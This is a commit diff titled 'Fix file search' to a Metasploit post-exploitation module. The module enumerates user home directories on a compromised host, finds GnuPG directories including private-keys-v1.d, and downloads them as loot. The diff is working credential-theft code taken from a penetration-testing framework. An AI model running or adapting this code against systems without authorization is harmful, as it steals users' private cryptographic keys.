Fix file search
This commit is contained in:
@@ -28,24 +28,23 @@ class MetasploitModule < Msf::Post
|
||||
# This module is largely based on ssh_creds and firefox_creds.rb.
|
||||
|
||||
def run
|
||||
print_status("Finding .gnupg directories")
|
||||
paths = enum_user_directories.map {|d| d + "/.gnupg"}
|
||||
# Array#select! is only in 1.9
|
||||
paths = paths.select { |d| directory?(d) }
|
||||
paths = []
|
||||
print_status('Finding GnuPG directories')
|
||||
dirs = enum_user_directories
|
||||
sub_dirs = ['private-keys-v1.d']
|
||||
|
||||
if paths.nil? || paths.empty?
|
||||
print_error("No users found with a .gnupg directory")
|
||||
return
|
||||
dirs.each do |dir|
|
||||
gnupg_dir = "#{dir}/.gnupg"
|
||||
next unless directory?(gnupg_dir)
|
||||
paths << gnupg_dir
|
||||
|
||||
sub_dirs.each do |sub_dir|
|
||||
paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}")
|
||||
end
|
||||
end
|
||||
|
||||
download_loot(paths)
|
||||
|
||||
print_status("Finding .gnupg >= 2.1 directories")
|
||||
paths = enum_user_directories.map {|d| d + "/.gnupg/private-keys-v1.d"}
|
||||
paths = paths.select { |d| directory?(d) }
|
||||
|
||||
if paths.nil? || paths.empty?
|
||||
print_error("No users found with a .gnupg 2.1 directory")
|
||||
print_error('No users found with a GnuPG directory')
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user